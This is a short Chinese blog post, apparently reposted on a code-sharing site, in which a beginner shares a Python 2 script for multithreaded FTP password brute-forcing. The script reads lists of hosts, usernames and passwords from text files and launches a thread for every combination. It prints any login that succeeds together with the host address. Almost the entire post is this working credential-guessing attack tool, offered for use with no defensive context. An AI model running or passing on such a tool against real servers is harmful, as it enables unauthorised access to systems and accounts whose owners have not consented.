Python FTP多線程爆破腳本


初學python, 自己編寫了個FTP多線爆破小腳本
代碼很丑= =

#!usr/bin/env python
#!coding=utf-8

__author__='zhengjim'

from ftplib import FTP
import ftplib
from threading import Thread

def Login(host,username,password):
    ftp=FTP()
    try:
        ftp.connect(host,21,1)
        ftp.login(username,password)
        ftp.retrlines('LIST')
        ftp.quit()
        print '破解成功,用戶名:' + username +',密碼:' + password + ',IP:'+ host
        return True
    except ftplib.all_errors:
        pass

host=open('host.txt')
for line in host:
    host=line.strip('\n')
    print '破解主機:' + host
    user=open('user.txt')
    for line in user:
        user=line.strip('\n')
        pwd=open('pwd.txt','r')
        for line in pwd:
            pwd=line.strip('\n')
            t=Thread(target=Login,args=(host,user,pwd))
            t.start()

 

目錄下需要host.txt,user.txt ,pwd.txt三個文件。

還需努力!!


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM